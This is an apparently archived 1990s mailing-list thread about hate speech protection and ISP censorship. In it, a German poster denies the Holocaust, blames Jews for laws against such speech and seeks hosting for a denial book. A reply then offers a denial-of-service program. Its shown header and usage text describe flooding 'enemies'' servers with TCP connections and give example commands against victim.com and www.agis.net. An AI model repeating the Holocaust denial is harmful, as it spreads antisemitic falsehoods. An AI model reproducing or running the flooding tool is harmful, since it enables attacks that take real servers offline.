Re: Hate speech in America
"Robert A. Costner"
I am a German patriot who wants to publish my ideas without of fear of the German goverment. But my concern is that the U. S. ISP I use can hand over my subscriber infoation and logs to the German goverment. Does anyone know a U. S. ISP who does not censor hate speech and who has a _known_ strong privacy policy? By the way, is hate speech protected in United States?
Hate speech is constitutionally protected in the US. That doesn't mean you can do it from any particular ISP or in someone's living room. You seem to have found protected email, you should therefore know who to post to usenet. There are dozens of places you can get free web sites from, though I don't know about their hate speech policies.
I know Geocities, Tripod, Angelfire and few others who provide free web hosting. All these ISPs have policies prohibiting political and sexually explicitly speech on the ground of its content. That's obviously not a First Amendment issue involved.
I'd be curious to know of Geocities, Tripod, et all - where they have kicked people off or not for hate speech.
Yes. They have done so. Geocities is very censorious even regarding politically correct speech such as gay advoccy and Tripod has kickeda homosexual site of for violation of a clause in the agreement concerning "adult" content. I am searching for a commercial ISP who will not censor political speech and who will respect one's privacy. I am not a nazi sympathizer, but I don't believe in the holocaust and want to say it loud. In Germany and in other countries where the Jews have succeeded in creating "hate laws" you can get four years in jail for refusing to believe in the holocaust. I would like to set up a homepage with some "illegal" [within Germany only] content that would not be shut down by the German goverment. I am working on a book exposing the holocaust story that would *surely* be banned in my own "democratic" country. The unfortunate not-so-well-known fact about Germany is that we do not have freedom of speech. I often wonder why Amnesty International did not protest the imprisonment of Gary Lauck who was denied basic due process and human rights, including freedom of speech and association, by a kangoro court. [This message is cross-posted to de.soc.zensur and de.soc.politik to upset my dictatorial goverment].
Aryan wrote:
In Germany and in other countries where the Jews have succeeded in creating "hate laws" you can get four years in jail for refusing to believe in the holocaust.
I would like to set up a homepage with some "illegal" [within Germany only] content that would not be shut down by the German goverment.
Talk to Sanford Wallace, sales@cyberpromo.com. (or is that domain dead?)
The problem with hate speech is that there is a great number of people
who would individually attempt to shut down your pages. Even if your
ISP does not censor you, they will mailbomb, SYN bomb, ping flood, etc
your server, or even hack your provider.
It may be bad enough for your provider to get tired and kick you out.
A while ago I wrote a simple program that floods servers with TCP open
requests (see below). I have heard that some folks are now writing
improved versions of this program. It runs on linux and should run on
most unix boxes.
- Igor.
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/* */
/* \=/, _-===-_-====-_-===-_-==========-_-====-_ */
/* | @___oo ( Denial Of Service )_ */
/* /\ /\ / (___,,,}_--= Opens Many Dangling TCP Connections ) */
/* ) /^\) ^\/ _) =__ to swamp TCP servers of your ) */
/* ) /^\/ _) (_ enemies. ) */
/* ) _ / / _) ( ) */
/* /\ )/\/ || | )_) (_ Educational Use Only! ) */
/*< > |(,,) )__) ( Ignoramus_Chewed-Off@algebra.com ) */
/* || / \)___)\ (_ 1997 __) */
/* | \____( )___) )___ -==-_____-=====-_____-=====-___== */
/* \______(_______;;; __;;; */
/* */
/***************************************************************************/
const char * Usage =
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
" %s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
" %s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;
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